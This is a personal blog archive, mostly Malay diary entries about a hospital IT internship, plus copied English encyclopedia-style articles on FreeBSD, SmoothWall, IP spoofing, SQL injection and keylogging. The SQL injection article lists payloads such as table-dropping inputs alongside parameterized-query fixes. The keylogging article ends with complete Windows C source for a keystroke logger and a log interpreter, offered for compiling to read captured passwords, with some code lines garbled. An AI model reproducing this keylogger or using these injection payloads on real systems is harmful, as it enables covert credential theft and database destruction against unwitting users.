Yang menariknya, jumlah terkumpul KDNK tahunan 57 buah negara ahli OIC ialah di bawah AS$2 trilion. Amerika sahaja, menghasilkan barangan dan perkhidmatan bernilai AS$12 trilion, China AS$8 trilion, Jepun AS$3.8 trilion dan Jerman AS$2.4 trilion.

Pengeluar minyak yang kaya, Arab Saudi, UAE, Kuwait, Qatar secara rangkuman menghasilkan barangan dan perkhidmatan (rata-rata minyak) bernilai AS$500 bilion; Sepanyol sahaja menghasilkan barangan dan perkhidmatan bernilai lebih AS$1 trilion, Poland AS$489 bilion dan Thailand AS$545 bilion.

Jadi, mengapa orang Islam tidak berkuasa dan orang Yahudi paling berkuasa?

Jawapannya ialah: Kurangnya ilmu. Kurangnya pendidikan dan kurangnya pelajaran.

Cuti

2008-12-24T09:16:00.001+08:00

hari terakhir aku bekerja sebelum aku cuti panjang...aku ia dapat memberikan nafas baru pada tahun hadapan.......

Cuti menjelang

2008-12-23T08:57:00.002+08:00

tahun baru semakin menjelang 2009 dan 2008 hampir meninggalkan.Ia penuh dengan kenangan suka dan duka.....tapi hidup mesti di teruskan tanpa toleh kebelakang......terus berjalan sambil mengharapkan keajaiban berlaku di sepanjang perjalanan hidup ni.....

15 okt 2008

2008-10-15T08:16:00.000+08:00

Hari ni aku agak tertekan dengan keadaan sekeliling aku entah mengapa aku berasa begitu...mungkin kerana persekitaran tempat kerja aku yang kurang konduksif...tapi-tapi apa pun aku berharap hari-hari begini berlalu begitu sahaja...

UPSI

2008-08-14T09:59:00.000+08:00

Genap 2 bulan aku bekerja kat upsi.bermacam-macam pekerja yang berlaku dalam tempoh itu,termasuk yang lucu dan menyedihkan...

Pratikal 21

2007-03-13T10:23:00.000+08:00

12/03/2007-Hari ini tiada apa2 yang dilakukan,hanya memperbaiki masalah kecil saja tidak lebih daripada itu

Praktikal 20

2007-03-11T15:58:00.000+08:00

11/03/2007 - Tiada aktiviti yang dilakukan, sebelah pagi pi install printer model HP 1022n kat bilik mayat mayat...

Pratikal 19

2007-03-11T08:27:00.000+08:00

08/03/2007-Pratikal hari agak biasa saja tiada kerja yang dilakukan cuma melakukan kerja yang biasa dilakukan dipejabat dan sekali-sekala melakukan kerja2 yang memerlukan tenaga fizikal...

Pratikal 18

2007-03-08T08:53:00.000+08:00

07/03/2007-Hari sibuk dengan kerja-kerja luar,aku pergi ke wad mopd untuk setup printer dan menukarkan komputer yang lama kepada komputer yang baru.Hampir tengah hari baru abis,sebelah petangnya pula aku pergi menghantar komputer ke pejabat dan mesin faks...

Pratikal 17

2007-03-07T09:06:00.000+08:00

06/03/2007-Hari ini install printer dekat wad melor 2 dan jumpa puan rakthiah dekat pejabat nak bincang tenang sambungan internet dekat auditorium

Pratikal 16

2007-03-06T09:12:00.000+08:00

5/03/2007-Hari ini tiada apa2 yang dilakukan hanya mengadap komputer .Pada waktu tengah hari aku pergi install software analisis virus dekat patalogi.Pada waktu petang aku pergi menyambut PM datang ke hospital,beliau membuat lawatan mengejut kemungkinan melawat mangsa kemalangan yang berlaku baru2 ini,aku dapat bersalam dengan PM dan berasa sangat bangga..selain itu juga dapat bersalam dengan MB Kedah dan Pahang...

Pratikal 16

2007-03-05T08:38:00.000+08:00

04/03/2007-Hari ini hari yang membosankan kerana tiada apa2 yang menarik untuk dilakukan dan sekali-sekala adalah keje utk dibuat itu pun keje yang biasa-biasa saja tiada yang mencabar minda aku dan ia tidak memerlukan tenaga yang kuat hanya 25% keupayaan yang sebenar.

Praktikal 15

2007-03-04T09:55:00.000+08:00

01.03.2007-Hari tiada apa yang dilakukan hanya duduk dihapadan komputer dan hari genap sebulan aku berada disini.Disamping itu mereka suruh hantar surat resume untuk diserap ke unit it sebagai pekerja sambilan.

Pratikal XIV

2007-03-01T10:47:00.000+08:00

28-02-2007-Hari tiada aktiviti yang dilakukan hanya duduk hadapan komputer dan melayari internet sambil itu mencari maklumat yang berkaitanan internet security dalam pada yang buat kerja yang diberikan seperti menyusun fail-fail lama dan dibelah petangnya tiada apa2 yang berlaku hanya memerhatikan menghantaran komputer baru ke hospital...

Pratikal XIII

2007-02-28T08:43:00.000+08:00

27-02-2007-Hari tiada aktiviti yang berlaku hanya memerhatikan SPK (kontraktor hospital) mengedarkan komputer ke unit2 yang berkenaan.Berlarutan sehingga petang cuma sekali-sekala ada kerja kecil saja misalnya memperbetulkan masalah komputer (kecil).Sebelah petangnya aku terlibat dalam mesyuarat diantara SPK dan pihak hospital ia berlarutan sehingga lewat petang,pukul 5.30 ptg baru aku pulang....

Pratikal XII

2007-02-26T14:00:00.000+08:00

26-02-07-Hari agak sibuk kerana menguruskan penghantaran komputer keunit-unit yang terlibat. Disamping itu mengambil no series bagi monitor LCD.

Pratikal XI

2007-02-26T13:57:00.000+08:00

25-02-2007- Hari ini tiada apa aktiviti yang dilakukan hanya duduk dipejabat melakukan kerja pejabat saja sambil download anti virus terbaru sambil menjawab panggilan telefon menanyakan tentang komputer baru.....

Praktikal X

2007-02-22T12:49:00.000+08:00

22-02-2007-Hari tiada apa2 kerja yang dilakukan hanya mengadap hadapan komputer "check" email dan mengemaskinikan email,ada kalanya menjawab telefon yang berbunyi menanyakan seseorang tentang komputer yang diedarkan kemarin.Selain daripada tiada aktiviti lain yang dibuat hanya mengadap depan komputer sahaja........

Praktikal IX

2007-02-21T12:53:00.000+08:00

21/02/2007-Hari ini sibuk sikit kerana unit IT terpaksa mengedar PC kepada wad & unit yang terdapat di hospital.Terlebih dahulu ada meeting dgn boss untuk membincangkan masalah2 yang melibatkan unit IT dalam pukul 8.00 - 9.00 pg (tak ingat masa tepat) selepas itu disuruh menghantar komputer ke unit hasil (Pendaftaran Masuk Wad).Orang yang datang mengambil PC begitu ramai sehingga tidak cukup dibuatnya tapi syukur dapat mengawal keadaan dengan bantuan BOSS sendiri dan kawannya dari unit lain....

Pratikal VIII

2007-02-20T10:07:00.000+08:00

20/Feb/2007-Hari tugasanku bermula pada jam 8.48 pg dengan menghnatar dan memasang komputer di unit CCU dan diletakkan dibilik seminar.Pukul 10.15 pg aku tiada aktiviti yang dilakukan hanya melayari internet dan menulis blog saja dan aku telah menemui cara untuk membuat SQL injection di jasakom.kom.Sekarang hampir waktu makan tiada aktiviti yang berlaku cuma menjawab telefon saja .Sehingga sekarang tiada apa2 yg terjadi hanya mengadap komputer sepanjang hari tanpa melakukan apa2 aktiviti dan kemungkinan akan berlarutan sehingga petang..dan menjadi hari ini bagaikan mimpi ngeri yang tiada penghujungnya.....

Pratikal VII

2007-02-15T14:58:00.000+08:00

15-Feb-2007-Hari ini tiada banyak aktiviti yang dilakukan cuma perkara yang biasa dilakukan misalnya install printer dekat jabatan farmasi dan memperbetulkan rangakaian intranet dekat pejabat pada waktu tengah hari.Sebelah tiada banyak aktiviti hanya duduk depan komputer dan melayari internet saja kerana boss tiada didalam pejabat kerana menghadiri taklimat sistem komputer di auditorium yang disampaikan oleh SPK (solution protocol) yang oleh pihak hospital untuk menguruskan sistem maklumat dihospital ini.Oleh itu tiada banyak aktiviti yang dilakukan pada minggu ini......

Pratikal VI

2007-02-14T14:03:00.000+08:00

14 Feb 2007-hari ini tiada apa2 yang berlaku cuma duduk dan melayari sambil mencari maklumat yang terbaru mengenai dunia siber.Bos suruh menukar power supply kerana power supply yang sedia ada telah rosak jadi aku tukarkan tanpa sebarang masalah cuma terdapat beberapa wayar yang tidak tahu mana satu yang patut disambungkan kat motherboard sebab power supply ni menggunakan 24 pin jika dibandingkan yg sebelumnya menggunakan 20 pin oleh terpasanglah mengbuangkan lagi 4 dan selepas selesai Pc tersebut dihantar ke unit patologi dan sebelah petang pergi menghantar printer dan installnya di wad klas 1 di bunga raya 1 & bunga raya 2....

Pratikal V

2007-02-14T10:26:00.000+08:00

13.02.2007-komputer yg dipesan oleh pihak komputer telah sampai jumlah 307 bagi desktop dan 61 bagi notebook.Kesemuanya disimpan dalam stor simpanan dan meletihkan kerana terpaksa memerhati perpindahan tersebut dan memakan masa lebih 2-3 jam sangat meletihkan.Sebelah tiada aktiviti yang dilakukan cuma duduk depan komputer dan melayari internet mencari perkembangan terbaru tentang dunia siber...Ada panggilan telefon terdapat masalah diklinik O&G pencetak tak boleh dipakai kerana pencetak tak disambungkan ke server yang baru dipasang kat bilik server jadi masalah itu tak dapat diselesaikan kerana tiada ilmu dalam bidang tersebut tapi ok la sebab bilik pejabat disediakan komputer bagi mencari penyelesaian bagi permasalahan tersebut sayang tidak jumpa yang cara2 untuk membuat network kat PC..4.40 ptg pulang ke rumah..sekian terima kasih(journal log 2/5)

Pratikal IV

2007-02-13T13:05:00.000+08:00

Hari kena setup server mcm hari ke 3 dan ada lg benda yg dipelajari iaitu buat network printer kat bah sumber manusia.mula2 susah juga tappi dgn bantu google kira bo semua bejalan dgn lancar..pratikal seronok juga tapi meletihkan kena banyak berjalan kesana -sini dan melayan kerenah org dan mcm lagi....kalo nak tau tunggu sambungannya..

Pratikal III

2007-02-13T12:58:00.000+08:00

Hari ini kena setup server kat hospital (win 2000 server) untuk digunakan membuka perisian yg terdapat kat server tersebut supaya department tertentu boleh membacakan.Perisaan itu HMS yg berfungsi untuk memasukkan data-data pesakit.....

pratikal II

2007-02-07T20:55:00.000+08:00

hari kedua pratikal di suruh install printer bagi wad2 yg terdapat dalam hospital & disamping itu dapat mempelajari benda2 baru yg melibatkan rangkaian.....

Pratikal

2007-02-07T20:50:00.000+08:00

hari pertama diperkenalkan kepada staff lain dihospital kemudian disuruh setup printer dan ditunjukkan cara menyediakan rangkaian menggunakan fiber optik..

FreeBSD From Wikipedia, the free encyclopedia

2007-01-31T10:19:00.000+08:00

FreeBSD is a Unix-like free operating system descended from AT&T UNIX via the Berkeley Software Distribution (BSD) branch through the 386BSD and 4.4BSD operating systems. It runs on Intel x86 family (IA-32) PC compatible systems (including the Microsoft Xbox), and also DEC Alpha, Sun UltraSPARC, IA-64, AMD64, PowerPC and NEC PC-98 architectures. Support for the ARM and MIPS architectures are under development.

FreeBSD is developed as a complete operating system. The kernel, device drivers and all of the userland utilities, such as the shell, are held in the same source code revision tracking tree (CVS). This is in contrast to Linux, a similar but better-known operating system, in which the kernel is developed by one set of developers; userland utilities and applications by others, such as the GNU project; and all are packaged together by other groups and published as Linux distributions.

As an operating system, FreeBSD is generally regarded as quite reliable and robust, and of the operating systems that accurately report uptime remotely ^[1], FreeBSD is the most common free operating system listed in Netcraft's list ^[2] of the 50 web servers with the longest uptime (uptime on some operating systems such as some versions of Linux can't be calculated). A long uptime also indicates that no kernel updates have been deemed necessary, as installing a new kernel requires a reboot and resets the uptime counter of the system.

for information : http://en.wikipedia.org/wiki/FreeBSD

SmoothWall From Wikipedia, the free encyclopedia

2007-01-31T10:05:00.000+08:00

SmoothWall Express is an open source firewall distribution based on the GNU/Linux operating system. SmoothWall includes a hardened subset of the GNU/Linux operating system, so there is no separate OS to install. Designed for ease of use, SmoothWall is configured via a web-based GUI, and requires little or no knowledge of Linux to install or use.

SmoothWall was created by Richard Morrell and Lawrence Manning in the Summer of 2000. It was picked up by the IT press worldwide as something of a phenomenon and won several awards including Linux Format Security Product of the Year, and came runner up in the 2002 PC Pro Real World Award to Microsoft, beating Adobe and Macromedia in the voting.

In 2001, Richard and Lawrence formed SmoothWall Ltd to leverage the power of the open source product to produce a fully supported enterprise firewall named Corporate Server.

Today, Corporate is now in its 5th incarnation as Corporate Firewall V5 (launched 23rd Oct 2006). SmoothWall Advanced Firewall, launched in 2005 has become the companies biggest product providing up to 20 independent ports, Active Directory, Novell Authentication & LDAP, QoS and content security.

Dan Barron was hired by Richard and Lawrence and is now the CTO of SmoothWall Ltd, and has developed his immensely popular and effective Dans Guardian web content filtering solution into the SmoothWall Guardian range of products. Guardian now protects thousands of users in healthcare, education, government and corporate markets.

According to figures released by the company, Smoothwall currently has over 1.5 million active installations worldwide^{[citation needed]}, and is now headed by Daniel Barron (CTO), George Lungley (CEO) and Richard Moore (VP Sales). Lawrence Manning remains on the team as chief software architect.

Current Version

SmoothWall Express: SmoothWall Express 2.0 SP1.
SmoothWall Corporate Firewall: SmoothWall Corporate Firewall V5.
SmoothWall Advanced Firewall: SmoothWall Advanced Firewall V2.

SmoothWall Express 3.0

On September 1, 2005, the fifth anniversary of the original SmoothWall firewall, an alpha version of Smoothwall 3.0 was released, code named "Grizzly". A second alpha version was released on December 25, 2005, code named "Panda". Then most recently on December 23, 2006 the most recent alpha version was released named Koala. Smoothwall Express 3.0 Koala ISO

Express 3 is currently slated for release in February 2007 at the RSA Conference in San Francisco.

IP address spoofing From Wikipedia, the free encyclopedia

2006-12-12T14:55:00.000+08:00

In computer networking, the term Internet Protocol address spoofing is the creation of IP packets with a forged (spoofed) source IP address. Since "IP address" is sometimes just referred to as an IP, IP spoofing is another name for this term.

How spoofing is done

The header of every IP packet contains its source address. This is normally the address that the packet was sent from. By forging the header, so it contains a different address, an attacker can make it appear that the packet was sent by a different machine. This can be a method of attack used by network intruders to defeat network security measures, such as authentication based on IP addresses.

This method of attack on a remote system can be extremely difficult, as it involves modifying thousands of packets at a time and cannot usually be done using a Microsoft Windows computer. IP spoofing involves modifying the packet header, which lists, among other things, the source IP, destination IP, a checksum value, and most importantly, the order value in which it was sent. As when a box sends packets into the Internet, packets sent may, and probably will arrive out of order, and must be put back together using the order sent value. IP spoofing involves solving the algorithm that is used to select the order sent values, and to modify them correctly. This poses a major problem because if one evaluates the algorithm in the wrong fashion, the IP spoof will be unsuccessful.

This type of attack is most effective where trust relationships exist between machines. For example, it is common on some corporate networks to have internal systems trust each other, so that a user can log in without a username or password provided they are connecting from another machine on the internal network (and so must already be logged in). By spoofing a connection from a trusted machine, an attacker may be able to access the target machine without authenticating.

How to stop spoofing

Packet filtering is one defense against IP spoofing attacks. The gateway to a network should perform ingress filtering; blocking of packets from outside the network with a source address inside the network. This prevents an outside attacker spoofing the address of an internal machine. Ideally outgoing packets should also be filtered, dropping packets from inside the network with a source address that is not inside (egress filtering); this prevents an attacker within the network performing filtering from launching IP spoofing attacks against external machines.

Upper layers

Some upper layer protocols provide their own defence against IP spoofing. For example, Transmission Control Protocol (TCP) uses sequence numbers negotiated with the remote machine to ensure that arriving packets are part of an established connection. The poor implementation of TCP sequence numbers in many older operating systems and network devices, however, means that spoofing is often still possible.

The attacker is limited to the fact that any reply packets that the destination may send are sent to the spoofed source address. However, an attacker can utilize this property of IP spoofing in techniques such as smurf attacks and SYN floods.

Data compression

Protocol spoofing is also used as a data compression technique, and was used as early as 1985 when the telebit modem incorporated spoofing of portions of the UUCP protocol to improve throughput. In this context, protocol headers and trailers are trimmed down or removed entirely, and then reconstructed at the far end.

Satellite Internet access

Today, protocol spoofing is particularly important for satellite Internet access. Satellite Internet access has a relatively long latency when packets must travel between the ground and a satellite in geosynchronous orbit, and many network protocols do not handle this latency very well. Therefore, satellite broadband providers may spoof the protocol so that each end of a packet flow gets acknowledgments with a short latency. Some satellite Internet providers now also offer special VPN software that incorporates protocol spoofing, because VPN applications are particularly prone to problems with latency.

Other definitions

The term spoofing is also sometimes used to refer to header forgery, the insertion of false or misleading information in email or netnews headers. Falsified headers are used to mislead the recipient, or network applications, as to the origin of a message. This is a common technique of spammers and sporgers, who wish to conceal the origin of their messages to avoid being tracked down. Less fraudulently, some netnews users place obviously false email addresses in their headers to avoid spam or other unwanted responses.

SQL injection

2006-12-12T14:47:00.000+08:00

SQL injection is a security vulnerability that occurs in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

Incorrectly filtered escape characters

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application.

The following line of code illustrates this vulnerability:

statement := "SELECT * FROM users WHERE name = '" + userName + "';"

If the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as

a' or 't'='t

renders this SQL statement by the parent language:

SELECT * FROM users WHERE name = 'a' or 't'='t';

If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of 't'='t' is always true.

Theoretically any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of "userName" in the above statement would cause the deletion of the "users" table as well as the selection of all data from the "data" table:

a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%

This input renders the final SQL statement as follows:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%';

ncorrect type handling

This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

statement := "SELECT * FROM data WHERE id = " + a_variable + ";"

It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to

1;DROP TABLE users

will delete the "users" table from the database as the rendered SQL would be rendered as follows:

SELECT * FROM data WHERE id = 1;DROP TABLE users;

Vulnerabilities inside the database server

Sometimes vulnerabilities can exist within the database server software itself, as was the case with the MySQL server's real_escape_chars() functions.^{[citation needed]}

Application remediation

SQL injection is easy to work around in most programming languages that target web applications or offer functionality. In Perl DBI, the DBI::quote method escapes special characters (assuming the variable $sql holds a reference to a DBI object):

$query = $sql->prepare
(
      "select * from users where name = "
  .
      $sql->quote($user_name)
 );

However, this is generally not the best way to approach the issue. DBI allows the use of placeholders, which let you bind data to a statement separately to defining the SQL statement. For databases that do not natively support placeholders, DBI emulates them by automatically applying the DBI::quote function to the values. Many databases do support binding values separately via their APIs; DBI will use the native placeholder support in this case. For example:

$query = $sql->prepare("select * from users where name = ?");
$query->execute($user_name);

The advantage is that you do not have to remember to apply DBI::quote to every value. It is either bound separately, or quoted appropriately, depending on the support offered by the particular DBMS you are using. You then avoid the basic issue of SQL injection where values are interpreted as SQL.

For databases that support placeholders natively, there are often significant performance advantages to using placeholders, as the database can cache the compiled representation of a statement and reuse it between executions with different bound values. Placeholders are also sometimes referred to as 'bind variables'.

In PHP, there are different built-in functions to use for different DBMSes for escaping values suitable for embedding in literal SQL statements. For MySQL, the equivalent is the built-in function mysql_real_escape_string:

$query_result = mysql_query
(
      "select * from users where name = '"
  .
      mysql_real_escape_string($user_name)
  .
      "'"
 );

The native interface to a particular DBMS may also offer a method of binding placeholders separately, for example, mysql_stmt_bind_param, or oci_bind_by_name. Alternatively, a database abstraction library can be used to emulate placeholders in a similar way to Perl's DBI. One example out of several available libraries is ADOdb.

In the Java programming language, the equivalent is the PreparedStatement class.

Instead of

Connection con = (acquire Connection)
Statement stmt = con.createStatement();
ResultSet rset = stmt.executeQuery("SELECT * FROM users WHERE name = '" + userName + "';");

use the following

Connection con = (acquire Connection)
PreparedStatement pstmt = con.prepareStatement("SELECT * FROM users WHERE name = ?");
pstmt.setString(1, userName);
ResultSet rset = pstmt.executeQuery();

In the .NET or Mono programming language "C#", the equivalent are the ADO.NET SqlCommand (for Microsoft SQL Server) or OracleCommand (for Oracle's database server) objects. The example below shows how to prevent injection attacks using the SqlCommand object. The code for other ADO.NET providers is very similar, but may vary slightly depending on the specific implementation by that provider vendor.

Instead of

using( SqlConnection con = (acquire connection) ) {
  con.Open();
  using( SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE name = '" + userName + "'", con) ) {
     using( SqlDataReader rdr = cmd.ExecuteReader() ){
         ...
     }
  }    
}

use the following

using( SqlConnection con = (acquire connection) ) {
  con.Open();
  using( SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE name = @userName", con) ) {

     cmd.Parameters.AddWithValue("@userName", userName);

     using( SqlDataReader rdr = cmd.ExecuteReader() ){
         ...
     }
  }    
}

Database remediation

Setting security privileges on the database to the least-required is a simple remediation. Few applications will require that the application user has delete rights to a table or database.

Most databases also offer the capability of preparing SQL statements at the database layer via stored procedures. Rather than using an application layer to construct SQL dynamically, stored procedures encapsulate reusable database procedures that are called with typed parameters. This provides several security advantages: by parameterizing input parameters and type-enforcing them, user input is effectively filtered. In addition, most databases allow stored procedures to execute under different security privileges from the database user. For instance, an application would have execute access to a stored procedure, but no access to the base tables. This restricts the ability of the application to do anything beyond the actions specified in the stored procedures.

It is also important to note that the standard query method of the MySQL C client library will not allow more than one query in one input, preventing the multi-statement attack described above. However, even benign user input containing escape characters (eg single-quotes) could still cause the application to crash from a bad SQL syntax. Even some attacks are possible, for example consider a website showing a list of items for a known username. The query executed is:

SELECT * from items where username='$username';

An attacker could use a specially crafted username to expose all items belonging to all users:

$username = "' or username is not null or username='"; SELECT * from items where username='' or username is not null or username='';

Remember, however, that escaping or removing quotes does not completely remove the risk of SQL injection. Let's say your query looks like this:

SELECT * from items where userid=$userid;

Assuming that $userid was assumed to be a numeric value but went unchecked, this specially crafted userid would, again, expose all items belonging to all users:

$userid = "33 or userid is not null or userid=44";

Which, as you can see, contains no single quotes and would result in the query:

SELECT * from items where userid=33 or userid is not null or userid=44;

The best defense, rather than blacklisting known bad input, is to only allow known good input, aka whitelisting. For instance, if you wanted to defend against this attack, you could verify the userid variable to ensure its contents were numeric like so:

if(!ctype_digit($userid)){ die("Invalid characters in userid."); }

Keystroke logging From Wikipedia, the free encyclopedia

2006-12-06T11:21:00.000+08:00

Keystroke logging (often called keylogging) is a diagnostic used in software development that captures the user's keystrokes. It can be useful to determine sources of error in computer systems and is sometimes used to measure employee productivity on certain clerical tasks. Such systems are also highly useful for law enforcement and espionage—for instance, providing a means to obtain passwords or encryption keys and thus bypassing other security measures. However, keyloggers are widely available on the internet and can be used by anyone for the same purposes.

Application

Keystroke logging can be achieved by both hardware and software means. Hardware key loggers are commercially available devices which come in three types: inline devices that are attached to the keyboard cable (see picture), devices which can be installed inside standard keyboards, and actual replacement keyboards that contain the key logger already built-in. The inline devices have the advantage of being able to be installed instantly. However, while they may go unnoticed for quite some time, they are easily detected visually upon closer inspection. Of the three devices available, the most difficult to install is also the most difficult to detect. The device that installs inside a keyboard (presumably the keyboard the target has been using all along) requires soldering skill and extended access to the keyboard to be modified. However, once in place, this type of device is virtually undetectable.

Hacking

Writing software applications for keylogging is trivial, and like any computer program can be distributed as a trojan horse or as part of a virus or worm. What is not trivial however, is installing a keystroke logger without getting caught and downloading data that has been logged without being traced. An attacker that manually connects to a host machine to download logged keystrokes risks being traced. A trojan that sends keylogged data to a fixed e-mail address or IP address risks exposing the attacker.

Trojan

Young and Yung devised several methods for solving this problem and presented them in their 1997 IEEE Security & Privacy paper^[1] (their paper from '96 touches on it as well). They presented a deniable password snatching attack in which the keystroke logging trojan is installed using a virus (or worm). An attacker that is caught with the virus or worm can claim to be a victim. The cryptotrojan asymmetrically encrypts the pilfered login/password pairs using the public key of the trojan author and covertly broadcasts the resulting ciphertext. They mentioned that the ciphertext can be steganographically encoded and posted to a public bulletin board (e.g. Usenet).

Ciphertext

Young and Yung also mentioned having the cryptotrojan unconditionally write the asymmetric ciphertexts to the last few unused sectors of every writable disk that is inserted into the machine. The sectors remain marked as unused. This can done using a USB token. So, the trojan author may be one of dozens or even thousands of people that are given the stolen information. Only the trojan author can decrypt the ciphertext because only the author knows the needed private decryption key. This attack is from the field known as cryptovirology.

Federal Bureau of Investigation

The FBI used a keystroke logger to obtain the PGP passphrase of Nicodemo Scarfo, Jr. He pleaded guilty to running an illegal gambling operation in 2002 ("Mobster's son pleads guilty of gambling; computer spying helped seal case" Associated Press, 1 Mar 2002). The FBI has also reportedly developed a trojan-horse-delivered keylogger program known as Magic Lantern.

Use in surveillance software

Some surveillance software have keystroke logging abilities and claim to monitor the internet use of minors. However, this has been criticized that these software can be used maliciously to gain unauthorized access to users' computer systems.

Contrary to common understanding, software keyloggers are very easy to write. Any person with a decent knowledge of C or C++ and a little knowledge of the API's provided by the target's operating system can do this. Shocking though it may seem, most people who have entered college fall into this category. Software keyloggers fall into the following categories :-

1) Kernel based :- This is the toughest to write, hardest to combat. Such keyloggers reside at the kernel level and are thus practically invisible. They almost always subvert the OS kernel and gain unauthorised access to the hardware. What they can do is limited by the attacker's imagination. Normally, such a keylogger would be a driver and it would attach itself between two other keyboard drivers and then process the info and pass it on as if nothing ever happened. Thus you type your password, it goes through your keyboard to the driver, which passes it on (after recording it) to the OS and you know nothing.

2) Hook based :- Such keyloggers hook the keyboard with functions provided by the OS. The OS warns them any time a key is pressed and it simply records it. Easier than the kernel type.

3) Creative Methods :- Here the coder uses functions like GetAsyncKeyState, GetForegroundWindow, etc. Very easy to write, any high school student could do it and get away with it.

To fight such peeping Toms, people must be educated in programming and approaches taken by the attacker. Sounds easy, but not so. For example, below is the code written by a classmate of mine. You want to compile it, get the MinGW compiler free from bloodshed.net. The keylogger :-

include
include
include
include
define KEY(a) GetAsyncKeyState(a)

char str[256], n; HWND handle; FILE *file; unsigned short clicks;

inline void LMB() {

      if(clicks)
     {
               putc(1, file); fwrite(&clicks, 2, 1, file);
               clicks = 0;
     }

}

inline HWND Window() {

      HWND h; char temp[256];
     h = GetForegroundWindow();
     if(h)
     {
          GetWindowText(h, temp, 256);
          if(h != handle || strcmp(temp, str))
          {
               handle = h; strcpy(str, temp); LMB();
               putc(2, file); fputs(str, file); putc(2, file);
          }
     }
     return h;

}

inline unsigned char numpad() {

      unsigned char ch;
     for(ch = 96; ch <= 105; ch++)
     if(KEY(ch) == -32767) return (ch - 48);
     for(ch = 106; ch <= 111; ch++)
     if(KEY(ch) == -32767) return (ch - 64);
     return 0;

}

inline unsigned char normal() {

      unsigned char ch;
     for(ch = 48; ch <= 57; ch++)
     if(KEY(ch) == -32767) return ch;
     for(ch = 65; ch <= 90; ch++)
     if(KEY(ch) == -32767) return (ch + 32);
     if(KEY(192) == -32767) return '`';
     if(KEY(189) == -32767) return '-';
     if(KEY(187) == -32767) return '=';
     if(KEY(219) == -32767) return '[';
     if(KEY(221) == -32767) return ']';
     if(KEY(220) == -32767) return '\\';
     if(KEY(186) == -32767) return ';';
     if(KEY(222) == -32767) return '\;
     if(KEY(188) == -32767) return ',';
     if(KEY(190) == -32767) return '.';
     if(KEY(191) == -32767) return '/';
     return 0;

}

inline unsigned char shift() {

      unsigned char ch = normal();
     if(!ch) return 0;
     if(ch >= 97 && ch <= 122) return (ch - 32);
     switch(ch)
     {
               case '`' : return '~';
               case '1' : return '!';
               case '2' : return '@';
               case '3' : return '#';
               case '4' : return '$';
               case '5' : return '%';
               case '6' : return '^';
               case '7' : return '&';
               case '8' : return '*';
               case '9' : return '(';
               case '0' : return ')';
               case '-' : return '_';
               case '=' : return '+';
               case '[' : return '{';
               case ']' : return '}';
               case '\\' : return '|';
               case ';' : return ':';
               case '\ : return '\"';
               case ',' : return '<';
               case '.' : return '>';
               case '/' : return '?';
     }
     return 0;

}

inline unsigned char keys(unsigned char state) {

      unsigned char ch;
     ch = numpad();
     if(ch) return ch;
     if(state) ch = shift();
     else ch = normal();
     return ch;

}

int WINAPI WinMain(HINSTANCE yo, HINSTANCE yo1, PSTR yo2, int yo3) {

   file = fopen("foxbat.txt", "ab");
  if(!file) return -1;
  time_t lt = time(NULL);
  handle = 0;
  for(clicks = 0; clicks < 256; str[clicks] = 0, clicks++);
  clicks = 0;
  SetKeyboardState((unsigned char*)str);
  putc(3, file); fwrite(<, 4, 1, file);
  label:
        Sleep(1);
        if(!Window()) goto label;
        if(KEY(1) == -32767) clicks++;
        if(KEY(VK_BACK) == -32767) { LMB(); putc(4, file); }
        if(KEY(VK_TAB) == -32767) { LMB(); putc(5, file); }
        if(KEY(13) == -32767) { LMB(); putc(6, file); }
        if(KEY(VK_SHIFT) == -32767)
        {
           LMB();
           do
           {
                  n = keys(1); if(n) putc(n, file);
           }
           while(KEY(VK_SHIFT));
        }
        if(KEY(VK_SPACE) == -32767) { LMB(); putc(' ', file); }  
        if(KEY(VK_CAPITAL) == -32767) putc(7, file);
        if(KEY(VK_DELETE) == -32767) { LMB(); putc(8, file); }
        n = keys(0);
        if(n) { LMB(); putc(n, file); }
        fflush(file);
  goto label; 
  return 0;

}

Compile it and run it. You'll get a file foxbat.txt, that records whatever you do. Below is the code for an interpretor.

include
include
include
include

FILE *file, *out; char caps;

void LMB() {

    unsigned short clicks; int a;
   fread(&clicks, 2, 1, file); a = clicks;
   fprintf(out, "[LMB * %d]

", a);

}

void Title() {

    fputs("

", out);
   char a = getc(file);
   while(a != 2)
   {
           putc(a, out); a = getc(file);
   }
   fputs("
", out);

}

void Time() {

    tm *s;
   time_t a;
   fread(&a, 4, 1, file); s = localtime(&a);
   fputs("

", out);
   fputs(asctime(s), out);
   fputs("
", out);
   caps = 0;

}

int WINAPI WinMain(HINSTANCE yo, HINSTANCE yo1, PSTR yo2, int yo3) {

   file = fopen("foxbat.txt", "rb");
  out = fopen("foxbat.html", "w");
  if(!file || !out) return -1;
  char n = getc(file);
  while(!feof(file))
  {
       if(n == 1) LMB();
       else if(n == 2) Title();
       else if(n == 3) Time();
       else if(n == 4) fputs("[Back Space]

", out);
       else if(n == 5) fputs("[TAB]

", out);
       else if(n == 6) fputs("[Enter]

", out);
       else if(n == 7) caps ^= 1;
       else if(n == 8) fputs("[Delete]

", out);
       else if(isalpha(n) && caps) putc(n ^ 32, out);
       else if(n == '<') fputs("<", out);
       else if(n == '>') fputs(">", out);
       else putc(n, out);
       n = getc(file);
  }
  fclose(file); fclose(out);


  return 0;

}

Compile it and place it in the same folder as foxbat.txt. Run it and you'll get foxbat.html and you can read it and find your password. For the code, my friend would like to thank irongeek, he gave him the idea of the GetAsyncKeyState and his computer teacher and other classmates.

Keylogger prevention

Currently there is no easy way to prevent keylogging. In the future it is believed that software with secure I/O will be protected from keyloggers. Until then, however, the best strategy is to use common sense and a combination of several methods.

